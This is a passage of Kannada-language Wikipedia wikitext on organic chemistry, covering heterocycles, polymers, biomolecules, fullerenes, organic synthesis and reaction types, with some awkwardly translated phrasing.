ಲಭ್ಯವಾಗುತ್ತದೆ. ==== ಆವರ್ತಕವಲ್ಲದ ಸಂಯುಕ್ತಗಳು ==== {{Main|Heterocyclic compound}} ಆವರ್ತಕ ಹೈಡ್ರೋಕಾರ್ಬನ್‌ಗಳ ಲಕ್ಷಣಗಳು ಭಿನ್ನಾಣುಗಳು ಇದ್ದರೆ ಮತ್ತೆ ಬದಲಾಗುತ್ತದೆ ಇವು ವರ್ತುಲಕ್ಕೆ ಬಾಹ್ಯವಾಗಿ ಸಂಪರ್ಕಿತವಾದ, (ಎಕ್ಸೋಸೈಕ್ಲಿಕ್‌) ಅಥವಾ ವರ್ತುಲದ ಸದಸ್ಯವಾಗಿಯೇ (ಎಂಡೋಸೈಕ್ಲಿಕ್‌) ಲಭ್ಯವಿರುವ ಆದೇಶ್ಯವಾಗಿರುತ್ತವೆ. ದ್ವಿತೀಯ ಸಂದರ್ಭದಲ್ಲಿ ವರ್ತುಲವನ್ನು [[ಅನಾವರ್ತ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. [[ಪೈರಿಡೈನ್‌]] ಹಾಗೂ [[ಫುರಾನ್‌|ಫುರಾನ್‌ಗಳು]] ಸುಗಂಧಿತ ಅನಾವರ್ತಗಳ ಉದಾಹರಣೆಯಾದರೆ [[ಪಿಪೆರಿಡೈನ್‌]] ಹಾಗೂ [[ಟೆಟ್ರಾಹೈಡ್ರೋಫುರಾನ್‌|ಟೆಟ್ರಾಹೈಡ್ರೋಫುರಾನ್‌ಗಳು]] ಸಂಬಂಧಿತ ಅಲಿಸೈಕ್ಲಿಕ್‌ ಅನಾವರ್ತಗಳಾಗಿವೆ. ಅನಾವರ್ತಿತ ಪರಮಾಣುಗಳ ಭಿನ್ನಾಣುಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಆಮ್ಲಜನಕ, ಗಂಧಕ, ಅಥವಾ ಸಾರಜನಕ, ಅದರಲ್ಲೂ ಕೊನೆಯದು ಜೀವರಾಸಾಯನಿಕ ವ್ಯವಸ್ಥೆಗಳಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿದೆ. ಅನಾವರ್ತಗಳಲ್ಲಿನ ಗುಂಪುಗಳ ಉದಾಹರಣೆಯೆಂದರೆ ಅನಿಲೈನ್‌ ಡೈಗಳು, ಜೀವರಸಾಯನಶಾಸ್ತ್ರದಲ್ಲಿ ಪ್ರಸ್ತಾಪಗೊಳ್ಳುವ ಅಲ್ಕಲಾಯ್ಡ್‌ಗಳು, ಜೀವಸತ್ವಗಳಿಗೆ ಸಂಬಂಧಪಟ್ಟ ಅನೇಕ ಸಂಯುಕ್ತಗಳು, ಸ್ಟಿರಾಯ್ಡ್‌ಗಳು, ನ್ಯೂಕ್ಲಿಯಿಕ್‌ ಆಮ್ಲಗಳು (e.g. DNA, RNA) ಹಾಗೂ ಅನೇಕ ಔಷಧಿಗಳಲ್ಲಿ ಬಳಸಲಾಗುವ ಸಂಯುಕ್ತಗಳು. ಸರಳ ಸಂರಚನೆಯ ಅನಾವರ್ತಗಳೆಂದರೆ ಪೈರ್ರೋಲ್‌ (5-ಸದಸ್ಯರ) ಹಾಗೂ ಇಂಡೋಲ್‌ (6-ಸದಸ್ಯರ ಇಂಗಾಲದ ವರ್ತುಲ). ವರ್ತುಲಗಳು ಇತರೆ ವರ್ತುಲಗಳೊಂದಿಗೆ ಒಂದು ತುದಿಯಲ್ಲಿ ಸೇರಿಕೊಂದು [[ಬಹುಆವರ್ತದ ಸಂಯುಕ್ತ|ಬಹುಆವರ್ತದ ಸಂಯುಕ್ತಗಳನ್ನು]] ನೀಡುತ್ತವೆ. [[ಪ್ಯೂರಿನ್‌]] ನ್ಯೂಕ್ಲಿಯೋಸೈಡ್‌ ಪ್ರತ್ಯಾಮ್ಲಗಳು ಪ್ರಮುಖ ಬಹುಆವರ್ತಿತ ಸುಗಂಧಿತ ಅನಾವರ್ತಗಳಾಗಿವೆ. ವರ್ತುಲಗಳು ಒಂದು "ಮೂಲೆಯಲ್ಲಿ" ಸೇರಿ ಒಂದು ಪರಮಾಣು (ಬಹುಮಟ್ಟಿಗೆ ಯಾವಾಗಲೂ ಇಂಗಾಲ) ಎರಡು ಬಂಧಕಗಳನ್ನು ಹೊಂದಿರುವ ಒಂದು ಆವರ್ತವಾಗಿದ್ದು ಹಾಗೂ ಎರಡನೆಯದಕ್ಕೆ ಎರಡು ಆವರ್ತಗಳಾಗಿರುತ್ತವೆ. ಅಂತಹಾ ಸಂಯುಕ್ತಗಳನ್ನು [[ಸ್ಪೈರೋ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತದಲ್ಲದೇ ಅನೇಕ [[ನೈಸರ್ಗಿಕ ಉತ್ಪನ್ನ|ನೈಸರ್ಗಿಕ ಉತ್ಪನ್ನಗಳಲ್ಲಿ]] ಅವು ಬಹಳ ಮುಖ್ಯವಾಗಿವೆ. === ಪಾಲಿಮರ್‌ಗಳು === {{Main|Polymer}} [[ಚಿತ್ರ:Girl with swimming board.jpg|right|thumb|ಈ ಈಜುಪಟ್ಟಿಯು ಪಾಲಿಮರ್‌ನ ಉದಾಹರಣೆಯಾದ ಪಾಲಿಸ್ಟೈರೀನ್‌ನಿಂದ ರಚಿತವಾದುದು]] ಇಂಗಾಲದ ಒಂದು ಪ್ರಮುಖ ಲಕ್ಷಣವೆಂದರೆ ಇಂಗಾಲ-ಇಂಗಾಲ ಬಂಧಕಗಳಿಂದ ಸಂಪರ್ಕಿತಗೊಳ್ಳುವ ಸರಪಣಿ ಹಾಗೂ ಜಾಲಗಳನ್ನು ಸಹಾ ಕೂಡಲೇ ನಿರ್ಮಿಸಿಕೊಳ್ಳಬಲ್ಲದು. ಸಂಪರ್ಕಗೊಳ್ಳುವಿಕೆಯ ಪ್ರಕ್ರಿಯೆಯನ್ನು [[ಪಾಲಿಮರೀಕರಣ]] ಎನ್ನಲಾಗುತ್ತದಲ್ಲದೇ ಮೂಲ ಸಂಯುಕ್ತವು [[ಮಾನೋಮರ್‌]] ಆಗಿದ್ದಾಗ ಇದು ಪಾಲಿಮರ್‌ಗಳನ್ನು ಬಂಧಿಸುತ್ತದೆ ಇಲ್ಲವೇ ಜಾಲವನ್ನು ಉಂಟುಮಾಡುತ್ತದೆ. ಪಾಲಿಮರ್‌ಗಳ ಎರಡು ಪ್ರಮುಖ ಗುಂಪುಗಳಿವೆ : ಕೃತಕವಾಗಿ ಉತ್ಪಾದನೆಯಾದವನ್ನು [[ಔದ್ಯಮಿಕ ಪಾಲಿಮರ್‌ಗಳು]]<ref>"ಇಂಡಸ್ಟ್ರಿಯಲ್‌ ಪಾಲಿಮರ್ಸ್‌ , ಕೆಮಿಸ್ಟ್ರಿ ಆಫ್‌." ಬ್ರಿಟಾನಿಕಾ ವಿಶ್ವಕೋಶ 2006</ref> ಅಥವಾ ಕೃತಕ ಪಾಲಿಮರ್‌ಗಳು ಹಾಗೂ ನೈಸರ್ಗಿಕವಾಗಿ ರಚಿತವಾದವನ್ನು [[ಜೈವಿಕ ಪಾಲಿಮರ್‌ಗಳು]] ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಪ್ರಥಮ ಕೃತಕ ಪಾಲಿಮರ್‌, [[ಬೇಕ್‌ಲೈಟ್‌|ಬೇಕ್‌ಲೈಟ್‌ನ]] ಆವಿಷ್ಕಾರದ ನಂತರ, ಅದರ ಕುಟುಂಬವು ಇತರೆ ಪಾಲಿಮರ್‌ಗಳ ಆವಿಷ್ಕಾರಗಳೊಂದಿಗೆ ತೀವ್ರ ಬೆಳವಣಿಗೆ ಕಂಡಿತು. ಸಾಮಾನ್ಯ ಕೃತಕ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಪಾಲಿಮರ್‌ಗಳೆಂದರೆ [[ಪಾಲಿಈಥೈಲೀನ್‌]] (ಪಾಲಿಥಿನ್‌‌), [[ಪಾಲಿಪ್ರಾಪೈಲೀನ್]]‌, [[ನೈಲಾನ್]]‌‌, [[ಟೆಫ್ಲಾನ್‌]] (PTFE), [[ಪಾಲಿಸ್ಟೈರೀನ್‌]], [[ಪಾಲಿಸ್ಟರ್‌ಗಳು]], [[ಪಾಲಿಮೀಥೈಲ್‌ಮೆಥಾಕ್ರೈಲೇಟ್‌]] (ಪರ್ಸ್‌ಪ್ಲೆಕ್ಸ್‌‌ ಹಾಗೂ ಪ್ಲೆಕ್ಸಿಗ್ಲಾಸ್‌ ಎಂದು ಕರೆಯಲ್ಪಡುತ್ತವೆ), ಹಾಗೂ [[ಪಾಲಿವಿನೈಲ್‌ಕ್ಲೋರೈಡ್‌]] (PVC). ಕೃತಕ ಹಾಗೂ ನೈಸರ್ಗಿಕ [[ರಬ್ಬರ್‌|ರಬ್ಬರ್‌ಗಳು]] ಸಹಾ ಪಾಲಿಮರ್‌ಗಳೇ ಆಗಿವೆ. ಉದಾಹರಣೆಗಳು ಸಾಧಾರಣ ಪದಗಳಾಗಿದ್ದು, ಭೌತಿಕ ಲಕ್ಷಣಗಳನ್ನು ನಿರ್ದಿಷ್ಟ ಬಳಕೆಗೆಂದು ಹೊಂದಿಸಿದ ಪ್ರತಿಯೊಂದರ ಅನೇಕ ವಿಧಗಳು ಇರಬಹುದಾಗಿದೆ. [[ಸರಪಣಿಯ ಉದ್ದ]] ಬದಲಿಸುವ, ಅಥವಾ [[ಶಾಖೆ]] ಅಥವಾ [[ಟ್ಯಾಕ್ಟಿಸಿಟಿ]] ರಚಿಸುವ ಮೂಲಕ ಪಾಲಿಮರೀಕರಣದ ಸ್ಥಿತಿಗಳ ಬದಲಿಕೆಯು ಉತ್ಪನ್ನದ ರಾಸಾಯನಿಕ ಸಂಯೋಜನೆಯನ್ನೇ ಬದಲಿಸುತ್ತದೆ. ಏಕ ಮಾನೋಮರ್‌ ಬಳಕೆಯ ಉತ್ಪನ್ನವೆಂದರೆ [[ಹೋಮೋಪಾಲಿಮರ್‌]]. ಅಲ್ಲದೇ, ಮಾಧ್ಯಮಿಕ ಘಟಕ(ಗಳ)ನ್ನು ಸೇರಿಸಿ [[ಹೆಟಿರೋಪಾಲಿಮರ್‌]] (ಕೋ-ಪಾಲಿಮರ್‌) ಹಾಗೂ ವಿವಿಧ ಘಟಕಗಳ ಸಮುದಾಯಗಳನ್ನು ಜೋಡಿಸುವಿಕೆಯ ಮಟ್ಟವನ್ನು ಸಹಾ ನಿಯಂತ್ರಿಸಬಹುದಾಗಿದೆ. ಗಡಸುತನ, [[ಸಾಂದ್ರತೆ]], ಯಾಂತ್ರಿಕ ಅಥವಾ [[ಕರ್ಷಕ ಬಲ]], ಸವೆತ ವಿರೋಧ, ಉಷ್ಣವಿರೋಧ, ಪಾರದರ್ಶಕತೆ, ವರ್ಣ etc. ಭೌತಿಕ ಲಕ್ಷಣಗಳು ಅಂತಿಮ ಸಂಯುಕ್ತದ ಮೇಲೆ ಆಧಾರಿತವಾಗಿರುತ್ತವೆ. === ಜೈವಿಕ ಪರಮಾಣುಗಳು === [[ಚಿತ್ರ:Maitotoxin 2D structure.svg|400px|thumb|right|ಮೈಟೋಟಾಕ್ಸಿನ್‌, ಸಂಕೀರ್ಣ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಜೈವಿಕ ಜೀವಾಣು ವಿಷ.]] [[ಜೈವಿಕ ಪರಮಾಣುಗಳ ರಸಾಯನಶಾಸ್ತ್ರ|ಜೈವಿಕ ಪರಮಾಣುಗಳ ರಸಾಯನಶಾಸ್ತ್ರವು]] [[ಜೈವಿಕರಸಾಯನ ತಜ್ಞರು]] ಆಗ್ಗಾಗ್ಗೆ ಅಧ್ಯಯನಕ್ಕೊಳಪಡುವ ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಒಂದು ಪ್ರಮುಖ ವಿಭಾಗವಾಗಿದೆ. ಅನೇಕ ಸಂಕೀರ್ಣ ಬಹುಕಾರ್ಯ ಗುಂಪು ಪರಮಾಣುಗಳು ಜೀವಿಗಳಲ್ಲಿ ಅತಿ ಪ್ರಮುಖವಾದವು. ಕೆಲವು ದೀರ್ಘ-ಬಂಧಕದ [[ಜೈವಿಕಪಾಲಿಮರ್‌ಗಳು]], ಹಾಗೂ ಇವು [[ಪೆಪ್ಟೈಡ್‌ಗಳು]], [[DNA]], [[RNA]] ಹಾಗೂ ಪ್ರಾಣಿಗಳಲ್ಲಿ [[ಪಿಷ್ಟ]] ಹಾಗೂ ಸಸ್ಯಗಳಲ್ಲಿ [[ಕೋಶ|ಕೋಶಗಳಂತೆ]] [[ಪಾಲಿಸಕರೈಡ್‌|ಪಾಲಿಸಕರೈಡ್‌ಗಳನ್ನು]] ಹೊಂದಿರುತ್ತವೆ. ಇತರೆ ಪ್ರಮುಖ ವರ್ಗಗಳೆಂದರೆ [[ಅಮೈನೋ ಆಮ್ಲ|ಅಮೈನೋ ಆಮ್ಲಗಳು]] (ಪ್ರೋಟೀನ್‌ಗಳ ಪ್ರಮುಖ ಅಂಶವಾದ ಮಾನೋಮರ್‌), [[ಕಾರ್ಬೋಹೈಡ್ರೇಟ್‌ಗಳು]] (ಪಾಲಿಸಕರೈಡ್‌ಗಳನ್ನು ಹೊಂದಿರುವ), [[ನ್ಯೂಕ್ಲಿಯಿಕ್‌ ಆಮ್ಲ|ನ್ಯೂಕ್ಲಿಯಿಕ್‌ ಆಮ್ಲಗಳು]] (DNA ಹಾಗೂ RNAಗಳನ್ನು ಪಾಲಿಮರ್‌ಗಳಾಗಿ ಹೊಂದಿರುವ), ಹಾಗೂ [[ಮೇದಸ್ಸು]]. ಇದರೊಂದಿಗೆ ಪ್ರಾಣಿಗಳ ದೇಹವು [[ಕ್ರೆಬ್ಸ್‌ ಆವರ್ತ|ಕ್ರೆಬ್ಸ್‌ ಆವರ್ತದ]] ಮೂಲಕ ಶಕ್ತಿ ಉತ್ಪಾದನೆಗೆ ಸಹಾಯ ಮಾಡುವ ಅನೇಕ ಸಣ್ಣ ಮಧ್ಯವರ್ತಿ ಅಣುಗಳನ್ನು ಹೊಂದಿರುವುದಲ್ಲದೇ, ಪ್ರಾಣಿಗಳಲ್ಲಿ ಬಹು ಸಾಮಾನ್ಯ ಹೈಡ್ರೋಕಾರ್ಬನ್‌ ಆದ [[ಐಸೋಪ್ರೀನ್‌]] ಅನ್ನು ಉತ್ಪಾದಿಸುತ್ತದೆ. ಪ್ರಾಣಿಗಳಲ್ಲಿ ಐಸೋಪ್ರೀನ್‌ಗಳು ಪ್ರಮುಖ ಸಂರಚನಾತ್ಮಕ [[ಸ್ಟಿರಾಯ್ಡ್‌]] ([[ಕೊಲೆಸ್ಟರಾಲ್‌]] ) ಹಾಗೂ ಸ್ಟಿರಾಯ್ಡ್‌ ಹಾರ್ಮೋನ್‌ ಸಂಯುಕ್ತಗಳಾಗುವವಲ್ಲದೇ; ಸಸ್ಯಗಳಲ್ಲಿ [[ಟರ್ಪೀನ್‌|ಟರ್ಪೀನ್‌ಗಳು]], [[ಟರ್ಪಿನಾಯ್ಡ್‌ಗಳು]], ಕೆಲ [[ಅಲ್ಕಲಾಯ್ಡ್‌ಗಳು]], ಹಾಗೂ [[ರಬ್ಬರ್‌]] ಉತ್ಪಾದಿಸಲು ಬಳಸುವ ಜೈವಿಕ ಪಾಲಿಮರ್‌ ಪಾಲಿಐಸೋಪ್ರೆನಾಯ್ಡ್‌ಗಳೆಂದು ಕರೆಯಲ್ಪಡುವ [[ಸಸ್ಯಕ್ಷೀರದ ಸತ್ವ|ಸಸ್ಯಕ್ಷೀರದ ಸತ್ವದಲ್ಲಿ]] ಲಭ್ಯವಿರುವ ವಿಶಿಷ್ಟ ಹೈಡ್ರೋಕಾರ್ಬನ್‌ಗಳು ಇರುತ್ತವೆ. ; ಪೆಪ್ಟೈಡ್‌ ಸಂಶ್ಲೇಷೀಕರಣ : :: ''[[ಪೆಪ್ಟೈಡ್‌ ಸಂಶ್ಲೇಷೀಕರಣ|ಪೆಪ್ಟೈಡ್‌ ಸಂಶ್ಲೇಷೀಕರಣವನ್ನು]] ಕೂಡ ನೋಡಿ'' ; ಆಲಿಗೋನ್ಯೂಕ್ಲಿಯೋಟೈಡ್‌‌ ಸಂಶ್ಲೇಷೀಕರಣ : :: ''[[ಆಲಿಗೋನ್ಯೂಕ್ಲಿಯೋಟೈಡ್‌‌ ಸಂಶ್ಲೇಷೀಕರಣ|ಆಲಿಗೋನ್ಯೂಕ್ಲಿಯೋಟೈಡ್‌‌ ಸಂಶ್ಲೇಷೀಕರಣವನ್ನು]] ಕೂಡ ನೋಡಿ'' ; ಕಾರ್ಬೋಹೈಡ್ರೇಟ್‌ ಸಂಶ್ಲೇಷೀಕರಣ : :: ''[[ಕಾರ್ಬೋಹೈಡ್ರೇಟ್‌ ಸಂಶ್ಲೇಷೀಕರಣ|ಕಾರ್ಬೋಹೈಡ್ರೇಟ್‌ ಸಂಶ್ಲೇಷೀಕರಣವನ್ನು]] ಕೂಡ ನೋಡಿ'' === ಸಣ್ಣ ಪರಮಾಣುಗಳು === ಔಷಧವಸ್ತುಶಾಸ್ತ್ರದಲ್ಲಿ, 'ಸಣ್ಣ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು' ಎಂದೂ ಕರೆಯಲ್ಪಡುವ [[ಸಣ್ಣ ಪರಮಾಣು|ಸಣ್ಣ ಪರಮಾಣುಗಳು]] ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳ ಪ್ರಮುಖ ಗುಂಪಾಗಿವೆ. ಈ ಸಂದರ್ಭದಲ್ಲಿ, ಸಣ್ಣ ಪರಮಾಣುವೆಂದರೆ ಜೈವಿಕವಾಗಿ ಸಕ್ರಿಯವಾಗಿರುವ [[ಪಾಲಿಮರ್‌]] ಅಲ್ಲದ ಸಣ್ಣ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತವಾಗಿರುತ್ತದೆ. ಬಳಕೆಯಲ್ಲಿ ಸಣ್ಣ ಪರಮಾಣುಗಳು ಸರಿಸುಮಾರು 1000 g/molಗಿಂತ ಕಡಿಮೆ ಪ್ರಮಾಣದ [[ಮೋಲಾರ್‌/ಆರ್ದ್ರ ದ್ರವ್ಯರಾಶಿ|ಮೋಲಾರ್‌/ಆರ್ದ್ರ ದ್ರವ್ಯರಾಶಿಯನ್ನು]] ಹೊಂದಿರುತ್ತವೆ. [[ಚಿತ್ರ:Cafeïne.png|right|thumb|ಕೆಫೀನ್‌ನ ಅಣು ಮಾದರಿಗಳು]] === ಫುಲ್ಲರೀನ್‌ಗಳು === ಅಂಡಗೋಳ ಹಾಗೂ ಕೊಳವೆಯಂತಹಾ ರಚನೆಯ ಇಂಗಾಲ ಸಂಯುಕ್ತಗಳಾದ [[ಫುಲ್ಲರೀನ್‌|ಫುಲ್ಲರೀನ್‌ಗಳು]] ಹಾಗೂ [[ಇಂಗಾಲ ನ್ಯಾನೋಟ್ಯೂಬ್‌|ಇಂಗಾಲ ನ್ಯಾನೋಟ್ಯೂಬ್‌ಗಳು]], [[ವಸ್ತುವಿಜ್ಞಾನ|ವಸ್ತುವಿಜ್ಞಾನದ]] ಸಂಬಂಧಿತ ಕ್ಷೇತ್ರದಲ್ಲಿ ಹೆಚ್ಚಿನ ಸಂಶೋಧನೆಗಳಿಗೆ ಇಂಬು ನೀಡಿವೆ. === ಇತರೆ: === ಇಂಗಾಲದಿಂದ ಸಾರಜನಕ, ಆಮ್ಲಜನಕ ಹಾಗೂ ಹಾಲೋಜನ್‌ಗಳೊಂದಿಗೆ ಬಂಧಿತವಾಗಿರುವ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳನ್ನು ಪ್ರತ್ಯೇಕವಾಗಿ ವರ್ಗೀಕರಿಸಲಾಗಿದೆ. ಇತರವುಗಳನ್ನು ಕೆಲಬಾರಿ ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದಲ್ಲಿಯೇ ಪ್ರಮುಖ ವರ್ಗಗಳಲ್ಲಿ ಸೇರಿಸಲಾಗುತ್ತದೆ ಹಾಗೂ [[ಸಾವಯವ ಗಂಧಕರಸಾಯನಶಾಸ್ತ್ರ]], [[ಸಾವಯವ ಲೋಹರಸಾಯನಶಾಸ್ತ್ರ]], [[ಸಾವಯವ ರಂಜಕರಸಾಯನಶಾಸ್ತ್ರ]] ಹಾಗೂ [[ಸಾವಯವ ಸಿಲಿಕಾನ್‌ರಸಾಯನಶಾಸ್ತ್ರ]] ಎಂಬ ಶೀರ್ಷಿಕೆಗಳಡಿಯಲ್ಲಿ ಸೇರಿಸಲಾಗುತ್ತದೆ. == ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಶ್ಲೇಷೀಕರಣ == [[ಚಿತ್ರ:Corey oseltamivir synthesis.png|thumb|right|261px|E.J. ಕೊರೆಯವರು ವಿನ್ಯಾಸಗೊಳಿಸಿದ ಆಸೆಲ್ಟಾಮಿವಿರ್‌ (ಟ್ಯಾಮಿಫ್ಲೂ) ಒಂದು ಸಂಶ್ಲೇಷೀಕರಣ. ಈ ಸಂಶ್ಲೇಷೀಕರಣವು 11 ವಿಶಿಷ್ಟ ಪ್ರತಿಕ್ರಿಯೆಗಳನ್ನು ಹೊಂದಿದೆ.]] ಕೃತಕ ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ ಎಂಬುದು "ರಚನೆ, ವಿಶ್ಲೇಷಣೆ, ಹಾಗೂ/ಅಥವಾ ಕಾರ್ಯಶೀಲ ಉದ್ದೇಶಗಳಿಗೆ ಕಾರ್ಯ ನಿರ್ಮಾಣ"ವಾದ [[ಯಂತ್ರಜ್ಞಾನ|ಯಂತ್ರಜ್ಞಾನಕ್ಕೆ]] ಸಮೀಪವಾಗಿರುವ ಕಾರಣ [[ಅನ್ವಯಿಕ ವಿಜ್ಞಾನ|ಅನ್ವಯಿಕ ವಿಜ್ಞಾನವೆಂದೆನಿಸಿಕೊಳ್ಳುತ್ತದೆ]]. ಉದ್ದೇಶಿತ ಪರಮಾಣುವಿಗೆಂದು ಸೂಕ್ತ ಆರಂಭಿಕ ವಸ್ತುಗಳನ್ನು ಆಯ್ಕೆ ಮಾಡಿ ಸಿದ್ಧಪಡಿಸುವ ಸಂಶ್ಲೇಷೀಕರಣದಂತಹಾ ಅಪೂರ್ವ ಸಂಯುಕ್ತವೊಂದರ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಶ್ಲೇಷೀಕರಣವು ಸಮಸ್ಯೆ ಪರಿಹಾರದಂತಹಾ ಕಾರ್ಯವಾಗಿದೆ. ಸಂಕೀರ್ಣ ಸಂಯುಕ್ತಗಳು ಅಗತ್ಯದ ಪರಮಾಣುವನ್ನು ರಚಿಸುವ ಹತ್ತಾರು ಅನುಕ್ರಮ ಪ್ರತಿಕ್ರಿಯಾ ಹಂತಗಳನ್ನು ಹೊಂದಿರಬಹುದು. ಸಂಶ್ಲೇಷೀಕರಣವು ಪರಮಾಣುವಿನ ಕಾರ್ಯಕಾರಿ ಗುಂಪುಗಳ ಪ್ರತಿಕ್ರಿಯಾಶೀಲತೆಯನ್ನು ಬಳಸಿಕೊಂಡು ಮುಂದುವರೆಯುತ್ತದೆ. ಉದಾಹರಣೆಗೆ, [[ಕಾರ್ಬೋನಿಲ್‌]] ಸಂಯುಕ್ತವನ್ನು [[ಎನೋಲೇಟ್‌]] ಆಗಿ ಇಲ್ಲವೇ [[ಎಲೆಕ್ಟ್ರೋಫೈಲ್]]‌; ಆಗಿ ಪರಿವರ್ತಿಸಿ [[ನ್ಯೂಕ್ಲಿಯೋಫೈಲ್‌]] ಆಗಿ ಬಳಸಬಹುದು ಎರಡರ ಸಂಯೋಜನೆಯನ್ನು [[ಅಲ್ಡೋಲ್‌ ಪ್ರಕ್ರಿಯೆ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಪ್ರಯೋಗಾಲಯದಲ್ಲಿ ವಾಸ್ತವಿಕ ಸಂಶ್ಲೇಷೀಕರಣ ಮಾಡುವ ಮೂಲಕ ಮಾತ್ರವೇ ಕಾರ್ಯತಃ ಉಪಯುಕ್ತ ಸಂಶ್ಲೇಷೀಕರಣವನ್ನು ರಚಿಸಬಹುದು. ಸಂಕೀರ್ಣ ಪರಮಾಣುಗಳಿಗೆಂದು ಅಪೂರ್ವ ಕೃತಕ ಮಾರ್ಗಗಳನ್ನು ನಿರ್ಮಿಸುವುದನ್ನು [[ಸಂಪೂರ್ಣ ಸಂಶ್ಲೇಷೀಕರಣ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಸಂಶ್ಲೇಷೀಕರಣವನ್ನು ರಚಿಸಲು ಅನೇಕ ಕಾರ್ಯನೀತಿಗಳಿವೆ. E.J. ಕೊರೆಯವರು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ ಆಧುನಿಕ [[ಪ್ರತಿಸಂಶ್ಲೇಷೀಕರಣ]] ವಿಧಾನವು, ಉದ್ಧೇಶಿತ ಪರಮಾಣುವಿನೊಂದಿಗೆ ಆರಂಭವಾಗಿ ಪರಿಚಿತ ಬಿಡಿ ಪ್ರಕ್ರಿಯೆಗಳಾಗಿ ಪ್ರತ್ಯೇಕಗೊಳ್ಳುತ್ತದೆ. ಬಿಡಿ ಪ್ರಕ್ರಿಯೆಗಳು ಅಥವಾ ಪ್ರಸ್ತಾಪಿತ ಪೂರ್ವಗಾಮಿಗಳೊಂದಿಗೆ ಲಭ್ಯವಾಗುವವರೆಗೆ ಹಾಗೂ ಅಗ್ಗದ ಆರಂಭಿಕ ವಸ್ತುಗಳ ಹಂತಕ್ಕೆ ತಲುಪುವವರೆಗೆ ಅದೇ ಪ್ರಕ್ರಿಯೆಗೆ ಒಳಗಾಗುತ್ತಿರುತ್ತವೆ. ನಂತರ ಪ್ರತಿಸಂಶ್ಲೇಷೀಕರಣದ ವಿಧಾನವನ್ನು ವಿರುದ್ಧ ದಿಕ್ಕಿನಲ್ಲಿ ದಾಖಲಿಸಿ ಸಂಶ್ಲೇಷೀಕರಣವನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ. "ಕೃತಕ ಮರ"ವನ್ನು ನಿರ್ಮಿಸಬಹುದು, ಏಕೆಂದರೆ ಪ್ರತಿ ಸಂಯುಕ್ತವು ಹಾಗೂ ಪ್ರತಿ ಪೂರ್ವಗಾಮಿಯು ಬಹು ಸಂಶ್ಲೇಷಣೆಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ. == ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಪ್ರತಿಕ್ರಿಯೆಗಳು == [[ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಪ್ರತಿಕ್ರಿಯೆ|ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಪ್ರತಿಕ್ರಿಯೆಗಳು]] [[ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತ|ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳನ್ನೊಳಗೊಂಡ]] [[ರಾಸಾಯನಿಕ ಪ್ರತಿಕ್ರಿಯೆ|ರಾಸಾಯನಿಕ ಪ್ರತಿಕ್ರಿಯೆಗಳಾಗಿರುತ್ತವೆ]]. ಶುದ್ಧ [[ಹೈಡ್ರೋಕಾರ್ಬನ್‌|ಹೈಡ್ರೋಕಾರ್ಬನ್‌ಗಳು]] ನಿರ್ದಿಷ್ಟ ವರ್ಗದ ಪ್ರತಿಕ್ರಿಯೆಗಳನ್ನು ಮಾತ್ರ ನೀಡಿದರೆ, ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು ಒಳಗಾಗುವ ಪ್ರತಿಕ್ರಿಯೆಗಳು ಬಹುಮಟ್ಟಿಗೆ ಕಾರ್ಯಕಾರಿ ಗುಂಪುಗಳ ಮೇಲೆ ಆಧಾರವಾಗಿರುತ್ತದೆ. ಈ ಪ್ರತಿಕ್ರಿಯೆಗಳ ಸಾಮಾನ್ಯ ಸಿದ್ಧಾಂತವು ಪ್ರಮುಖ ಪರಮಾಣುಗಳ [[ಎಲೆಕ್ಟ್ರಾನ್‌ ಸಾಮ್ಯತೆ]], [[ಬಂಧದ ಸಾಮರ್ಥ್ಯ]] ಹಾಗೂ [[ಕ್ರಿಯಾರೋಧ|ಕ್ರಿಯಾರೋಧಗಳಂತಹಾ]] ಲಕ್ಷಣಗಳ ಎಚ್ಚರಿಕೆಯ ವಿಶ್ಲೇಷಣೆಯನ್ನೊಳಗೊಂಡಿರುತ್ತದೆ. ಈ ಪರಿಣಾಮಗಳು ಪ್ರತಿಕ್ರಿಯೆಯ ಮಾರ್ಗವನ್ನು ನಿರ್ಧರಿಸುವ ಅಲ್ಪಕಾಲೀನ [[ಪ್ರತಿಕ್ರಿಯಾತ್ಮಕ ಮಧ್ಯವರ್ತಿ|ಪ್ರತಿಕ್ರಿಯಾತ್ಮಕ ಮಧ್ಯವರ್ತಿಗಳ]] ಸಾಪೇಕ್ಷ ದೃಢತೆಯನ್ನು ನಿರ್ಧರಿಸಬಲ್ಲವು. ಮೂಲಭೂತ ಪ್ರತಿಕ್ರಿಯಾ ಪ್ರಭೇದಗಳೆಂದರೆ : ಅನುಬಂಧಕ ಪ್ರತಿಕ್ರಿಯೆಗಳು, 